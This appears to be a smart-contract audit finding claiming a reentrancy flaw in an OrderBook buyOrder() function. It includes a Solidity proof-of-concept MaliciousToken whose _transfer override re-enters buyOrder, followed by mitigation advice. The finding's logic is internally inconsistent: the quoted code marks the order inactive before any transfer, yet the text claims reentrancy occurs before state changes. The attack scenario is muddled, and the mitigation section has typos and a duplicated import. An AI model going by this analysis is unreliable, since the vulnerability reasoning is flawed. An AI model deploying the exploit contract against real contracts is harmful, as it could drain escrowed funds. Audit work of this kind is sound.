buyOrder() — Funds misdirection or reentrancy on token transfer
Description
Normally, the buyOrder
function transfers funds from the buyer to the seller and updates the order status to inactive after checks.
However, due to lack of a nonReentrant
modifier, an attacker could exploit the token being a malicious ERC20 that reenters the contract unexpectedly during safeTransfer
.
function buyOrder(uint256 _orderId) public {
Order storage order = orders[_orderId];
...
@> order.isActive = false;
@> iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
@> iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
@> IERC20(order.tokenToSell).safeTransfer(msg.sender, order.amountToSell);
...
}
Risk
Likelihood:
-
Happens when a malicious ERC20 token with reentrancy vector is allowed or mimicked in test environments
-
Buy action is one of the most commonly executed operations, increasing exposure
Impact:
-
Reentrancy before state changes can bypass order deactivation or corrupt balances
-
May result in multiple token transfers for a single USDC payment, draining escrow
Proof of Concept
Attacker deploys malicious ERC20 with reentrancy in transfer()
Attacker creates order, buyer buys triggering buyOrder()
During transfer, attacker reenters and calls buyOrder again
Leads to repeated withdrawals
pragma solidity ^0.8.0;
import "./OrderBook.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MaliciousToken is ERC20 {
address public targetOrderBook;
uint256 public attackOrderId;
bool private attacked;
constructor() ERC20("Malicious Token", "MAL") {}
function setTarget(address _orderBook, uint256 _orderId) external {
targetOrderBook = _orderBook;
attackOrderId = _orderId;
}
function _transfer(address sender, address recipient, uint256 amount) internal override {
super._transfer(sender, recipient, amount);
if (!attacked && targetOrderBook != address(0)) {
attacked = true;
OrderBook(targetOrderBook).buyOrder(attackOrderId);
}
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
Recommended Mitigation
Import reentrancyguard library from openzeppline and applu nonReentrant to function buyOrder() and cancelSellOrder()
Create Mutexes or Locks in code blocks and follow Checks-Effects-Interactions.
//import ReentrancyGuard
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
//Modify function buyOrder(uint256 _orderId) public {
with function buyOrder(uint256 _orderId) public nonReentrant {